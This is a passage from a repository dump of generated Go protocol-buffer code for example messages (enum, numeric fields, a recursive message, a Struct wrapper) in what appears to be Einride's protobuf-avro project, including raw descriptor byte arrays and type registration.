| 66 | func (x ExampleEnum_Enum) Number() protoreflect.EnumNumber { 67 | return protoreflect.EnumNumber(x) 68 | } 69 | 70 | // Deprecated: Use ExampleEnum_Enum.Descriptor instead. 71 | func (ExampleEnum_Enum) EnumDescriptor() ([]byte, []int) { 72 | return file_einride_avro_example_v1_example_enum_proto_rawDescGZIP(), []int{0, 0} 73 | } 74 | 75 | type ExampleEnum struct { 76 | state protoimpl.MessageState 77 | sizeCache protoimpl.SizeCache 78 | unknownFields protoimpl.UnknownFields 79 | 80 | EnumValue ExampleEnum_Enum `protobuf:"varint,1,opt,name=enum_value,json=enumValue,proto3,enum=einride.avro.example.v1.ExampleEnum_Enum" json:"enum_value,omitempty"` 81 | } 82 | 83 | func (x *ExampleEnum) Reset() { 84 | *x = ExampleEnum{} 85 | mi := &file_einride_avro_example_v1_example_enum_proto_msgTypes[0] 86 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 87 | ms.StoreMessageInfo(mi) 88 | } 89 | 90 | func (x *ExampleEnum) String() string { 91 | return protoimpl.X.MessageStringOf(x) 92 | } 93 | 94 | func (*ExampleEnum) ProtoMessage() {} 95 | 96 | func (x *ExampleEnum) ProtoReflect() protoreflect.Message { 97 | mi := &file_einride_avro_example_v1_example_enum_proto_msgTypes[0] 98 | if x != nil { 99 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 100 | if ms.LoadMessageInfo() == nil { 101 | ms.StoreMessageInfo(mi) 102 | } 103 | return ms 104 | } 105 | return mi.MessageOf(x) 106 | } 107 | 108 | // Deprecated: Use ExampleEnum.ProtoReflect.Descriptor instead. 109 | func (*ExampleEnum) Descriptor() ([]byte, []int) { 110 | return file_einride_avro_example_v1_example_enum_proto_rawDescGZIP(), []int{0} 111 | } 112 | 113 | func (x *ExampleEnum) GetEnumValue() ExampleEnum_Enum { 114 | if x != nil { 115 | return x.EnumValue 116 | } 117 | return ExampleEnum_ENUM_UNSPECIFIED 118 | } 119 | 120 | var File_einride_avro_example_v1_example_enum_proto protoreflect.FileDescriptor 121 | 122 | var file_einride_avro_example_v1_example_enum_proto_rawDesc = []byte{ 123 | 0x0a, 0x2a, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 124 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 125 | 0x65, 0x5f, 0x65, 0x6e, 0x75, 0x6d, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 0x65, 0x69, 126 | 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 127 | 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x22, 0xa8, 0x01, 0x0a, 0x0b, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 128 | 0x65, 0x45, 0x6e, 0x75, 0x6d, 0x12, 0x48, 0x0a, 0x0a, 0x65, 0x6e, 0x75, 0x6d, 0x5f, 0x76, 0x61, 129 | 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x29, 0x2e, 0x65, 0x69, 0x6e, 0x72, 130 | 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 131 | 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x45, 0x6e, 0x75, 0x6d, 0x2e, 132 | 0x45, 0x6e, 0x75, 0x6d, 0x52, 0x09, 0x65, 0x6e, 0x75, 0x6d, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 133 | 0x4f, 0x0a, 0x04, 0x45, 0x6e, 0x75, 0x6d, 0x12, 0x14, 0x0a, 0x10, 0x45, 0x4e, 0x55, 0x4d, 0x5f, 134 | 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x0f, 0x0a, 135 | 0x0b, 0x45, 0x4e, 0x55, 0x4d, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x31, 0x10, 0x01, 0x12, 0x0f, 136 | 0x0a, 0x0b, 0x45, 0x4e, 0x55, 0x4d, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x32, 0x10, 0x02, 0x12, 137 | 0x0f, 0x0a, 0x0b, 0x45, 0x4e, 0x55, 0x4d, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x33, 0x10, 0x04, 138 | 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 139 | 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 140 | 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 141 | 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 142 | 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 143 | 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 144 | 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 145 | } 146 | 147 | var ( 148 | file_einride_avro_example_v1_example_enum_proto_rawDescOnce sync.Once 149 | file_einride_avro_example_v1_example_enum_proto_rawDescData = file_einride_avro_example_v1_example_enum_proto_rawDesc 150 | ) 151 | 152 | func file_einride_avro_example_v1_example_enum_proto_rawDescGZIP() []byte { 153 | file_einride_avro_example_v1_example_enum_proto_rawDescOnce.Do(func() { 154 | file_einride_avro_example_v1_example_enum_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_enum_proto_rawDescData) 155 | }) 156 | return file_einride_avro_example_v1_example_enum_proto_rawDescData 157 | } 158 | 159 | var file_einride_avro_example_v1_example_enum_proto_enumTypes = make([]protoimpl.EnumInfo, 1) 160 | var file_einride_avro_example_v1_example_enum_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 161 | var file_einride_avro_example_v1_example_enum_proto_goTypes = []any{ 162 | (ExampleEnum_Enum)(0), // 0: einride.avro.example.v1.ExampleEnum.Enum 163 | (*ExampleEnum)(nil), // 1: einride.avro.example.v1.ExampleEnum 164 | } 165 | var file_einride_avro_example_v1_example_enum_proto_depIdxs = []int32{ 166 | 0, // 0: einride.avro.example.v1.ExampleEnum.enum_value:type_name -> einride.avro.example.v1.ExampleEnum.Enum 167 | 1, // [1:1] is the sub-list for method output_type 168 | 1, // [1:1] is the sub-list for method input_type 169 | 1, // [1:1] is the sub-list for extension type_name 170 | 1, // [1:1] is the sub-list for extension extendee 171 | 0, // [0:1] is the sub-list for field type_name 172 | } 173 | 174 | func init() { file_einride_avro_example_v1_example_enum_proto_init() } 175 | func file_einride_avro_example_v1_example_enum_proto_init() { 176 | if File_einride_avro_example_v1_example_enum_proto != nil { 177 | return 178 | } 179 | type x struct{} 180 | out := protoimpl.TypeBuilder{ 181 | File: protoimpl.DescBuilder{ 182 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 183 | RawDescriptor: file_einride_avro_example_v1_example_enum_proto_rawDesc, 184 | NumEnums: 1, 185 | NumMessages: 1, 186 | NumExtensions: 0, 187 | NumServices: 0, 188 | }, 189 | GoTypes: file_einride_avro_example_v1_example_enum_proto_goTypes, 190 | DependencyIndexes: file_einride_avro_example_v1_example_enum_proto_depIdxs, 191 | EnumInfos: file_einride_avro_example_v1_example_enum_proto_enumTypes, 192 | MessageInfos: file_einride_avro_example_v1_example_enum_proto_msgTypes, 193 | }.Build() 194 | File_einride_avro_example_v1_example_enum_proto = out.File 195 | file_einride_avro_example_v1_example_enum_proto_rawDesc = nil 196 | file_einride_avro_example_v1_example_enum_proto_goTypes = nil 197 | file_einride_avro_example_v1_example_enum_proto_depIdxs = nil 198 | } 199 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_num.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_num.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type ExampleNumbers struct { 24 | state protoimpl.MessageState 25 | sizeCache protoimpl.SizeCache 26 | unknownFields protoimpl.UnknownFields 27 | 28 | Valint32 int32 `protobuf:"varint,1,opt,name=valint32,proto3" json:"valint32,omitempty"` 29 | Valint64 int64 `protobuf:"varint,2,opt,name=valint64,proto3" json:"valint64,omitempty"` 30 | Valfloat float32 `protobuf:"fixed32,3,opt,name=valfloat,proto3" json:"valfloat,omitempty"` 31 | Valdouble float64 `protobuf:"fixed64,4,opt,name=valdouble,proto3" json:"valdouble,omitempty"` 32 | Valuint32 uint32 `protobuf:"varint,5,opt,name=valuint32,proto3" json:"valuint32,omitempty"` 33 | Valuint64 uint64 `protobuf:"varint,6,opt,name=valuint64,proto3" json:"valuint64,omitempty"` 34 | Valsint32 int32 `protobuf:"zigzag32,7,opt,name=valsint32,proto3" json:"valsint32,omitempty"` 35 | Valsint64 int64 `protobuf:"zigzag64,8,opt,name=valsint64,proto3" json:"valsint64,omitempty"` 36 | } 37 | 38 | func (x *ExampleNumbers) Reset() { 39 | *x = ExampleNumbers{} 40 | mi := &file_einride_avro_example_v1_example_num_proto_msgTypes[0] 41 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 42 | ms.StoreMessageInfo(mi) 43 | } 44 | 45 | func (x *ExampleNumbers) String() string { 46 | return protoimpl.X.MessageStringOf(x) 47 | } 48 | 49 | func (*ExampleNumbers) ProtoMessage() {} 50 | 51 | func (x *ExampleNumbers) ProtoReflect() protoreflect.Message { 52 | mi := &file_einride_avro_example_v1_example_num_proto_msgTypes[0] 53 | if x != nil { 54 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 55 | if ms.LoadMessageInfo() == nil { 56 | ms.StoreMessageInfo(mi) 57 | } 58 | return ms 59 | } 60 | return mi.MessageOf(x) 61 | } 62 | 63 | // Deprecated: Use ExampleNumbers.ProtoReflect.Descriptor instead. 64 | func (*ExampleNumbers) Descriptor() ([]byte, []int) { 65 | return file_einride_avro_example_v1_example_num_proto_rawDescGZIP(), []int{0} 66 | } 67 | 68 | func (x *ExampleNumbers) GetValint32() int32 { 69 | if x != nil { 70 | return x.Valint32 71 | } 72 | return 0 73 | } 74 | 75 | func (x *ExampleNumbers) GetValint64() int64 { 76 | if x != nil { 77 | return x.Valint64 78 | } 79 | return 0 80 | } 81 | 82 | func (x *ExampleNumbers) GetValfloat() float32 { 83 | if x != nil { 84 | return x.Valfloat 85 | } 86 | return 0 87 | } 88 | 89 | func (x *ExampleNumbers) GetValdouble() float64 { 90 | if x != nil { 91 | return x.Valdouble 92 | } 93 | return 0 94 | } 95 | 96 | func (x *ExampleNumbers) GetValuint32() uint32 { 97 | if x != nil { 98 | return x.Valuint32 99 | } 100 | return 0 101 | } 102 | 103 | func (x *ExampleNumbers) GetValuint64() uint64 { 104 | if x != nil { 105 | return x.Valuint64 106 | } 107 | return 0 108 | } 109 | 110 | func (x *ExampleNumbers) GetValsint32() int32 { 111 | if x != nil { 112 | return x.Valsint32 113 | } 114 | return 0 115 | } 116 | 117 | func (x *ExampleNumbers) GetValsint64() int64 { 118 | if x != nil { 119 | return x.Valsint64 120 | } 121 | return 0 122 | } 123 | 124 | var File_einride_avro_example_v1_example_num_proto protoreflect.FileDescriptor 125 | 126 | var file_einride_avro_example_v1_example_num_proto_rawDesc = []byte{ 127 | 0x0a, 0x29, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 128 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 129 | 0x65, 0x5f, 0x6e, 0x75, 0x6d, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 0x65, 0x69, 0x6e, 130 | 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 131 | 0x65, 0x2e, 0x76, 0x31, 0x22, 0xfa, 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 132 | 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x6e, 133 | 0x74, 0x33, 0x32, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x6e, 134 | 0x74, 0x33, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x18, 135 | 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 136 | 0x1a, 0x0a, 0x08, 0x76, 0x61, 0x6c, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 137 | 0x02, 0x52, 0x08, 0x76, 0x61, 0x6c, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x76, 138 | 0x61, 0x6c, 0x64, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 139 | 0x76, 0x61, 0x6c, 0x64, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x76, 0x61, 0x6c, 140 | 0x75, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x76, 0x61, 141 | 0x6c, 0x75, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x1c, 0x0a, 0x09, 0x76, 0x61, 0x6c, 0x75, 0x69, 142 | 0x6e, 0x74, 0x36, 0x34, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x76, 0x61, 0x6c, 0x75, 143 | 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x1c, 0x0a, 0x09, 0x76, 0x61, 0x6c, 0x73, 0x69, 0x6e, 0x74, 144 | 0x33, 0x32, 0x18, 0x07, 0x20, 0x01, 0x28, 0x11, 0x52, 0x09, 0x76, 0x61, 0x6c, 0x73, 0x69, 0x6e, 145 | 0x74, 0x33, 0x32, 0x12, 0x1c, 0x0a, 0x09, 0x76, 0x61, 0x6c, 0x73, 0x69, 0x6e, 0x74, 0x36, 0x34, 146 | 0x18, 0x08, 0x20, 0x01, 0x28, 0x12, 0x52, 0x09, 0x76, 0x61, 0x6c, 0x73, 0x69, 0x6e, 0x74, 0x36, 147 | 0x34, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 148 | 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 149 | 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 150 | 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 151 | 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 152 | 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 153 | 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 154 | } 155 | 156 | var ( 157 | file_einride_avro_example_v1_example_num_proto_rawDescOnce sync.Once 158 | file_einride_avro_example_v1_example_num_proto_rawDescData = file_einride_avro_example_v1_example_num_proto_rawDesc 159 | ) 160 | 161 | func file_einride_avro_example_v1_example_num_proto_rawDescGZIP() []byte { 162 | file_einride_avro_example_v1_example_num_proto_rawDescOnce.Do(func() { 163 | file_einride_avro_example_v1_example_num_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_num_proto_rawDescData) 164 | }) 165 | return file_einride_avro_example_v1_example_num_proto_rawDescData 166 | } 167 | 168 | var file_einride_avro_example_v1_example_num_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 169 | var file_einride_avro_example_v1_example_num_proto_goTypes = []any{ 170 | (*ExampleNumbers)(nil), // 0: einride.avro.example.v1.ExampleNumbers 171 | } 172 | var file_einride_avro_example_v1_example_num_proto_depIdxs = []int32{ 173 | 0, // [0:0] is the sub-list for method output_type 174 | 0, // [0:0] is the sub-list for method input_type 175 | 0, // [0:0] is the sub-list for extension type_name 176 | 0, // [0:0] is the sub-list for extension extendee 177 | 0, // [0:0] is the sub-list for field type_name 178 | } 179 | 180 | func init() { file_einride_avro_example_v1_example_num_proto_init() } 181 | func file_einride_avro_example_v1_example_num_proto_init() { 182 | if File_einride_avro_example_v1_example_num_proto != nil { 183 | return 184 | } 185 | type x struct{} 186 | out := protoimpl.TypeBuilder{ 187 | File: protoimpl.DescBuilder{ 188 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 189 | RawDescriptor: file_einride_avro_example_v1_example_num_proto_rawDesc, 190 | NumEnums: 0, 191 | NumMessages: 1, 192 | NumExtensions: 0, 193 | NumServices: 0, 194 | }, 195 | GoTypes: file_einride_avro_example_v1_example_num_proto_goTypes, 196 | DependencyIndexes: file_einride_avro_example_v1_example_num_proto_depIdxs, 197 | MessageInfos: file_einride_avro_example_v1_example_num_proto_msgTypes, 198 | }.Build() 199 | File_einride_avro_example_v1_example_num_proto = out.File 200 | file_einride_avro_example_v1_example_num_proto_rawDesc = nil 201 | file_einride_avro_example_v1_example_num_proto_goTypes = nil 202 | file_einride_avro_example_v1_example_num_proto_depIdxs = nil 203 | } 204 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_recursive.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_recursive.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type ExampleRecursive struct { 24 | state protoimpl.MessageState 25 | sizeCache protoimpl.SizeCache 26 | unknownFields protoimpl.UnknownFields 27 | 28 | Recursive *ExampleRecursive `protobuf:"bytes,1,opt,name=recursive,proto3" json:"recursive,omitempty"` 29 | } 30 | 31 | func (x *ExampleRecursive) Reset() { 32 | *x = ExampleRecursive{} 33 | mi := &file_einride_avro_example_v1_example_recursive_proto_msgTypes[0] 34 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 35 | ms.StoreMessageInfo(mi) 36 | } 37 | 38 | func (x *ExampleRecursive) String() string { 39 | return protoimpl.X.MessageStringOf(x) 40 | } 41 | 42 | func (*ExampleRecursive) ProtoMessage() {} 43 | 44 | func (x *ExampleRecursive) ProtoReflect() protoreflect.Message { 45 | mi := &file_einride_avro_example_v1_example_recursive_proto_msgTypes[0] 46 | if x != nil { 47 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 48 | if ms.LoadMessageInfo() == nil { 49 | ms.StoreMessageInfo(mi) 50 | } 51 | return ms 52 | } 53 | return mi.MessageOf(x) 54 | } 55 | 56 | // Deprecated: Use ExampleRecursive.ProtoReflect.Descriptor instead. 57 | func (*ExampleRecursive) Descriptor() ([]byte, []int) { 58 | return file_einride_avro_example_v1_example_recursive_proto_rawDescGZIP(), []int{0} 59 | } 60 | 61 | func (x *ExampleRecursive) GetRecursive() *ExampleRecursive { 62 | if x != nil { 63 | return x.Recursive 64 | } 65 | return nil 66 | } 67 | 68 | var File_einride_avro_example_v1_example_recursive_proto protoreflect.FileDescriptor 69 | 70 | var file_einride_avro_example_v1_example_recursive_proto_rawDesc = []byte{ 71 | 0x0a, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 72 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 73 | 0x65, 0x5f, 0x72, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 74 | 0x6f, 0x12, 0x17, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 75 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x22, 0x5b, 0x0a, 0x10, 0x45, 0x78, 76 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x12, 0x47, 77 | 0x0a, 0x09, 0x72, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 78 | 0x0b, 0x32, 0x29, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 79 | 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x78, 0x61, 0x6d, 80 | 0x70, 0x6c, 0x65, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x52, 0x09, 0x72, 0x65, 81 | 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 82 | 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 83 | 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 84 | 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 85 | 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 86 | 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 87 | 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 88 | } 89 | 90 | var ( 91 | file_einride_avro_example_v1_example_recursive_proto_rawDescOnce sync.Once 92 | file_einride_avro_example_v1_example_recursive_proto_rawDescData = file_einride_avro_example_v1_example_recursive_proto_rawDesc 93 | ) 94 | 95 | func file_einride_avro_example_v1_example_recursive_proto_rawDescGZIP() []byte { 96 | file_einride_avro_example_v1_example_recursive_proto_rawDescOnce.Do(func() { 97 | file_einride_avro_example_v1_example_recursive_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_recursive_proto_rawDescData) 98 | }) 99 | return file_einride_avro_example_v1_example_recursive_proto_rawDescData 100 | } 101 | 102 | var file_einride_avro_example_v1_example_recursive_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 103 | var file_einride_avro_example_v1_example_recursive_proto_goTypes = []any{ 104 | (*ExampleRecursive)(nil), // 0: einride.avro.example.v1.ExampleRecursive 105 | } 106 | var file_einride_avro_example_v1_example_recursive_proto_depIdxs = []int32{ 107 | 0, // 0: einride.avro.example.v1.ExampleRecursive.recursive:type_name -> einride.avro.example.v1.ExampleRecursive 108 | 1, // [1:1] is the sub-list for method output_type 109 | 1, // [1:1] is the sub-list for method input_type 110 | 1, // [1:1] is the sub-list for extension type_name 111 | 1, // [1:1] is the sub-list for extension extendee 112 | 0, // [0:1] is the sub-list for field type_name 113 | } 114 | 115 | func init() { file_einride_avro_example_v1_example_recursive_proto_init() } 116 | func file_einride_avro_example_v1_example_recursive_proto_init() { 117 | if File_einride_avro_example_v1_example_recursive_proto != nil { 118 | return 119 | } 120 | type x struct{} 121 | out := protoimpl.TypeBuilder{ 122 | File: protoimpl.DescBuilder{ 123 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 124 | RawDescriptor: file_einride_avro_example_v1_example_recursive_proto_rawDesc, 125 | NumEnums: 0, 126 | NumMessages: 1, 127 | NumExtensions: 0, 128 | NumServices: 0, 129 | }, 130 | GoTypes: file_einride_avro_example_v1_example_recursive_proto_goTypes, 131 | DependencyIndexes: file_einride_avro_example_v1_example_recursive_proto_depIdxs, 132 | MessageInfos: file_einride_avro_example_v1_example_recursive_proto_msgTypes, 133 | }.Build() 134 | File_einride_avro_example_v1_example_recursive_proto = out.File 135 | file_einride_avro_example_v1_example_recursive_proto_rawDesc = nil 136 | file_einride_avro_example_v1_example_recursive_proto_goTypes = nil 137 | file_einride_avro_example_v1_example_recursive_proto_depIdxs = nil 138 | } 139 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_struct.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_struct.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | structpb "google.golang.org/protobuf/types/known/structpb" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleStruct struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | Struct *structpb.Struct `protobuf:"bytes,1,opt,name=struct,proto3" json:"struct,omitempty"` 30 | } 31 | 32 | func (x *ExampleStruct) Reset() { 33 | *x = ExampleStruct{} 34 | mi := &file_einride_avro_example_v1_example_struct_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleStruct) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleStruct) ProtoMessage() {} 44 | 45 | func (x *ExampleStruct) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_struct_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use 